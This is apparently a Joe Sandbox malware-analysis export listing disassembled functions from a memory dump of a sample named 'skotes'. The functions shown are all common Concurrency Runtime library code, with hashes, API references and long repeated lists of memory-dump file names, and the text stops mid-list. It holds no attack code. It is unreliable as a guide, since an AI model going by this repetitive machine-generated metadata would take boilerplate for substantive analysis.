Opcode ID: 3693af03a034423d530b55db05cf65240c9b1349eb46c072c9d980e6dd83b8a9
Instruction ID: b82d66ce5e88d9e355e992f5d9b6452bb51038dc514eb14957b6c4bb7a001adb
Opcode Fuzzy Hash: 3693af03a034423d530b55db05cf65240c9b1349eb46c072c9d980e6dd83b8a9
Instruction Fuzzy Hash: 6C21DA71A04514DFCF04EF64D88ADAEB7F0EF46310B20416AF202AF251DB39AE91CB61

Function 007AA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 007AA069

Part of subcall function 007AB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 007AB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 007AA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 007AA0CB

Part of subcall function 007AAB41: List.LIBCONCRT ref: 007AAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 007AA0DB

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: e5dde1b8630ba8b69b2a4dacda3ab423c0a5dac00ba0d1844d73f247822276a9
Instruction ID: add298cee383fadc79719b1b622e39f6ff7d92613538c10fb3880c3051e0e873
Opcode Fuzzy Hash: e5dde1b8630ba8b69b2a4dacda3ab423c0a5dac00ba0d1844d73f247822276a9
Instruction Fuzzy Hash: FD21AE31500614EFCB24EF65D8908ABF3F5FF897007004A5DE442A7651DB38F905CBA2

Function 007A4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007A4893
ListArray.LIBCONCRT ref: 007A48A5

Part of subcall function 007A5555: _InternalDeleteHelper.LIBCONCRT ref: 007A5564

ListArray.LIBCONCRT ref: 007A48AF
_InternalDeleteHelper.LIBCONCRT ref: 007A48C8

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: cdceeaed83b33ed65ae0618914ec048579bf748a1aaf4a8080e4e279d62abfa3
Instruction ID: 7c86d459dbe2d435be37831e57a29b8eed8de442370f414041d991b0013d2162
Opcode Fuzzy Hash: cdceeaed83b33ed65ae0618914ec048579bf748a1aaf4a8080e4e279d62abfa3
Instruction Fuzzy Hash: 5301D672600521EFCE25BB64E88AE6EB76ABFC67107000229F40457612DB6EEC2187A0

Function 007AEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007AEE6A
ListArray.LIBCONCRT ref: 007AEE7C

Part of subcall function 007AEF29: _InternalDeleteHelper.LIBCONCRT ref: 007AEF3B

ListArray.LIBCONCRT ref: 007AEE86
_InternalDeleteHelper.LIBCONCRT ref: 007AEE9F

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 0b8b6722ce40a8eed2c93cdb26dea23194443d1263889efadc77a9aaaa926a6b
Instruction ID: 718f37374d46371a0298353b1866974ca41505dc24fcddb7e72b03869185a45d
Opcode Fuzzy Hash: 0b8b6722ce40a8eed2c93cdb26dea23194443d1263889efadc77a9aaaa926a6b
Instruction Fuzzy Hash: 2801F972300521FFDE25BB60D8CAD6EBB79FFC67107000229F40557612CB28EC2186D0

Function 007AD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007AD0C5
ListArray.LIBCONCRT ref: 007AD0D7

Part of subcall function 007AC6B2: _InternalDeleteHelper.LIBCONCRT ref: 007AC6C4

ListArray.LIBCONCRT ref: 007AD0E1
_InternalDeleteHelper.LIBCONCRT ref: 007AD0FA

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 94879f82493bae90ecf64568eee1666fab9c5d7fc4aca6e57d10b1a9fa618ca0
Instruction ID: 884d870074b6033977e6930879cca0967dd2bdbd8008753589b06555102a3afe
Opcode Fuzzy Hash: 94879f82493bae90ecf64568eee1666fab9c5d7fc4aca6e57d10b1a9fa618ca0
Instruction Fuzzy Hash: 5501D672200521FFCE36BB60C9CAD6EB769BFCA710B010229F40197A12DF28AC618690

Function 007B33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007B33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 007B33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 007B3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007B341F

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
